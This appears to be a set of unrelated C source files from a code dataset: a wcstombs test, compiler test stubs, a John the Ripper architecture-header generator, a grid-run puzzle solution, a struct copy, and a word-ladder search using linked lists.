test = wcstombs (buf, tmp1, (wcslen (tmp1) + 1) * sizeof (wchar_t));
printf ("size of string by wcstombs %d\n", test);
if (test != wcslen (tmp1))
result = 1;
test = wcslen (tmp1);
printf ("size of string by wcslen %d\n", test);
printf ("char %s\n", buf);
if (strcmp (buf, "World") != 0)
result = 1;
puts ("------------------");
return result;
}
|
the_stack_data/1037860.c | /* { dg-lto-options {{ -O -flto -save-temps}} } */
/* { dg-lto-do link } */
int
main (void)
{
return 0;
}
|
the_stack_data/234518251.c | #include <sys/stat.h>
int main(void){
if (mkdir("/home/lappop/THISTHETEST", 448) == -1) return -1;
return 0;
}
|
the_stack_data/125139667.c | /*
* This file is part of John the Ripper password cracker,
* Copyright (c) 1996-2000,2008,2011 by Solar Designer
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* There's ABSOLUTELY NO WARRANTY, express or implied.
*/
/*
* Architecture specific parameters detection program.
*/
#include <stdio.h>
int main(int argc, char **argv)
{
int value = 1;
int size_log;
if (argc != 8) return 1;
size_log = 0;
while (sizeof(long) * 8 != 1 << size_log) size_log++;
puts(
"/*\n"
" * Architecture specific parameters. This is a generated file, do not edit.\n"
" */\n"
"\n"
"#ifndef _JOHN_ARCH_H\n"
"#define _JOHN_ARCH_H\n");
printf(
"#define ARCH_WORD\t\t\tlong\n"
"#define ARCH_SIZE\t\t\t%d\n"
"#define ARCH_BITS\t\t\t%d\n"
"#define ARCH_BITS_LOG\t\t\t%d\n"
"#define ARCH_BITS_STR\t\t\t\"%d\"\n"
"#define ARCH_LITTLE_ENDIAN\t\t%d\n"
"#define ARCH_INT_GT_32\t\t\t%d\n"
"#define ARCH_ALLOWS_UNALIGNED\t\t0\n"
#ifdef __alpha__
"#define ARCH_INDEX(x)\t\t\t((unsigned long)(unsigned char)(x))\n"
#else
"#define ARCH_INDEX(x)\t\t\t((unsigned int)(unsigned char)(x))\n"
#endif
"\n",
(int)sizeof(long),
(int)(sizeof(long) * 8),
size_log,
(int)(sizeof(long) * 8),
(int)(*(char *)&value),
(sizeof(int) > 4) ? 1 : 0);
puts(
"#define CPU_DETECT\t\t\t0\n\n"
"#define DES_ASM\t\t\t\t0");
switch (argv[1][0]) {
case '1':
puts(
"#define DES_128K\t\t\t0\n"
"#define DES_X2\t\t\t\t0\n"
"#define DES_MASK\t\t\t0\n"
"#define DES_SCALE\t\t\t1\n"
"#define DES_EXTB\t\t\t0");
break;
case '2':
puts(
"#define DES_128K\t\t\t1\n"
"#define DES_X2\t\t\t\t0\n"
"#define DES_MASK\t\t\t1\n"
"#define DES_SCALE\t\t\t1\n"
"#define DES_EXTB\t\t\t1");
break;
case '3':
puts(
"#define DES_128K\t\t\t0\n"
"#define DES_X2\t\t\t\t0\n"
"#define DES_MASK\t\t\t1\n"
"#define DES_SCALE\t\t\t1\n"
"#define DES_EXTB\t\t\t0");
break;
case '4':
puts(
"#define DES_128K\t\t\t0\n"
"#define DES_X2\t\t\t\t0\n"
"#define DES_MASK\t\t\t1\n"
"#define DES_SCALE\t\t\t1\n"
"#define DES_EXTB\t\t\t1");
break;
case '5':
if (sizeof(long) >= 8) {
puts(
"#define DES_128K\t\t\t0\n"
"#define DES_X2\t\t\t\t0\n"
"#define DES_MASK\t\t\t1\n"
"#define DES_SCALE\t\t\t0\n"
"#define DES_EXTB\t\t\t0");
break;
}
default:
return 1;
}
printf(
"#define DES_COPY\t\t\t%c\n"
"#define DES_BS_ASM\t\t\t0\n"
"#define DES_BS\t\t\t\t%c\n"
"#define DES_BS_VECTOR\t\t\t0\n"
"#define DES_BS_EXPAND\t\t\t1\n"
"\n"
"#define MD5_ASM\t\t\t\t0\n"
"#define MD5_X2\t\t\t\t%c\n"
"#define MD5_IMM\t\t\t\t%c\n"
"\n"
"#define BF_ASM\t\t\t\t0\n"
"#define BF_SCALE\t\t\t%c\n"
"#define BF_X2\t\t\t\t%c\n"
"\n"
"#endif\n",
argv[2][0],
argv[3][0],
argv[4][0],
argv[5][0],
argv[6][0],
argv[7][0]);
return 0;
}
|
the_stack_data/669801.c | //
// AOJ0151.c
//
//
// Created by n_knuu on 2014/03/14.
//
//
#include <stdio.h>
int main(void) {
int grid[255][255],num,i,j,count,max,flag;
int integer;
while (1) {
scanf("%d\n",&num);
if (num==0) break;
max=0;
for (i=0; i<num; i++) {
for (j=0; j<num; j++) {
scanf("%c ",&integer);
grid[i][j]=integer-'0';
}
}
for (i=0; i<num; i++) {
flag=0,count=0;
for (j=0; j<num; j++) {
if (flag==0&&grid[i][j]==1) {
count=1,flag=1;
} else if (flag==1&&grid[i][j]==1) {
count++;
} else if (flag==1&&grid[i][j]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
if (max==num) break;
flag=0,count=0;
for (j=0; j<num; j++) {
if (flag==0&&grid[j][i]==1) {
count=1,flag=1;
} else if (flag==1&&grid[j][i]==1) {
count++;
} else if (flag==1&&grid[j][i]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
if (max==num) break;
}
if (max==num) {
printf("%d\n",max);
continue;
}
for (i=0; i<=num-1; i++) {
flag=0,count=0;
for (j=0; j<=num-1-i; j++) {
if (flag==0&&grid[num-1-i-j][j]==1) {
count=1,flag=1;
} else if (flag==1&&grid[num-1-i-j][j]==1) {
count++;
} else if (flag==1&&grid[num-1-i-j][j]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
if (max==num-i) break;
flag=0,count=0;
if (i) {
for (j=num-1; j>=i; j--) {
if (flag==0&&grid[j][num-1+i-j]==1) {
count=1,flag=1;
} else if (flag==1&&grid[j][num-1+i-j]==1) {
count++;
} else if (flag==1&&grid[j][num-1+i-j]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
}
if (max==num-i) break;
flag=0,count=0;
for (j=0; j<=num-1-i; j++) {
if (flag==0&&grid[j+i][j]==1) {
count=1,flag=1;
} else if (flag==1&&grid[j+i][j]==1) {
count++;
} else if (flag==1&&grid[j+i][j]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
if (max==num-i) break;
flag=0,count=0;
if (i) {
for (j=0; j<=num-1-i; j++) {
if (flag==0&&grid[j][j+i]==1) {
count=1,flag=1;
} else if (flag==1&&grid[j][j+i]==1) {
count++;
} else if (flag==1&&grid[j][j+i]==0) {
if (count>max) max=count;
flag=0,count=0;
}
}
if (count>max) max=count;
}
if (max==num-i) break;
}
printf("%d\n",max);
}
return 0;
} |
the_stack_data/128186.c | struct Big {
int field_int;
char field_arr[2560];
};
void foo(struct Big *big, const struct Big *big2);
void foo(struct Big *big, const struct Big *big2) {
*big = *big2;
}
|
the_stack_data/913669.c | #include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#define container_of(ptr, type, member) \
((type *)((char *)(ptr) - (size_t)&(((type *)0)->member)))
#define list_entry(ptr, type, member) \
container_of(ptr, type, member)
#define list_first_entry(ptr, type, field) list_entry((ptr)->next, type, field)
#define list_for_each_entry(pos, head, member) \
for (pos = list_entry((head)->next, typeof(*pos), member); \
&(pos)->member != (head); \
pos = list_entry((pos)->member.next, typeof(*pos), member))
struct list_head {
struct list_head *next, *prev;
};
static inline void INIT_LIST_HEAD(struct list_head *list)
{
list->next = list->prev = list;
}
static inline int list_empty(const struct list_head *head)
{
return (head->next == head);
}
static inline void __list_add(struct list_head *new, struct list_head *prev, struct list_head *next)
{
next->prev = new;
new->next = next;
new->prev = prev;
prev->next = new;
}
static inline void list_add(struct list_head *_new, struct list_head *head)
{
__list_add(_new, head, head->next);
}
static inline void list_add_tail(struct list_head *_new, struct list_head *head)
{
__list_add(_new, head->prev, head);
}
static inline void __list_del(struct list_head *entry)
{
entry->next->prev = entry->prev;
entry->prev->next = entry->next;
}
static inline void list_del(struct list_head *entry)
{
__list_del(entry);
entry->next = entry->prev = NULL;
}
struct word_node {
int step;
char *word;
struct list_head node;
struct list_head link;
};
static int BKDRHash(char* str, int size)
{
int seed = 131; // 31 131 1313 13131 131313 etc..
unsigned int hash = 0 ;
while (*str != '\0') {
hash = hash * seed + (*str++);
}
return hash % size;
}
static struct word_node *find(char *word, struct list_head *dict, int size)
{
struct word_node *node;
int hash = BKDRHash(word, size);
list_for_each_entry(node, &dict[hash], node) {
if (node->step == 0 && !strcmp(node->word, word)) {
return node;
}
}
return NULL;
}
static int ladderLength(char* beginWord, char* endWord, char** wordList, int wordListSize)
{
int i, len = strlen(beginWord);
char *word = malloc(len + 1);
struct list_head queue;
struct word_node *node;
struct list_head *dict = malloc(wordListSize * sizeof(*dict));
for (i = 0; i < wordListSize; i++) {
INIT_LIST_HEAD(dict + i);
}
/* Add into hash list */
bool found = false;
for (i = 0; i < wordListSize; i++) {
node = malloc(sizeof(*node));
node->word = wordList[i];
node->step = 0;
int hash = BKDRHash(wordList[i], wordListSize);
list_add(&node->node, &dict[hash]);
if (!strcmp(endWord, wordList[i])) {
found = true;
}
}
if (!found) {
return 0;
}
/* FIFO */
INIT_LIST_HEAD(&queue);
struct word_node *first = malloc(sizeof(*node));
first->word = beginWord;
first->step = 1;
/* BFS with FIFO for shortest path */
while (strcmp(first->word, endWord)) {
strcpy(word, first->word);
for (i = 0; i < len; i++) {
char c;
char o = word[i];
for (c = 'a'; c <= 'z'; c++) {
if (c == o) continue;
word[i] = c;
node = find(word, dict, wordListSize);
if (node != NULL) {
/* enqueue */
list_add_tail(&node->link, &queue);
node->step = first->step + 1;
}
}
word[i] = o;
}
if (list_empty(&queue)) {
return 0;
} else {
/* dequeue */
first = list_first_entry(&queue, struct word_node, link);
list_del(&first->link);
}
}
return first->step;
}
int main(int argc, char **argv)
{
if (argc < 3) {
fprintf(stderr, "Usage: ./test begin end dict...\n");
exit(-1);
}
printf("%d\n", ladderLength(argv[1], argv[2], argv + 3, argc - 3));
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.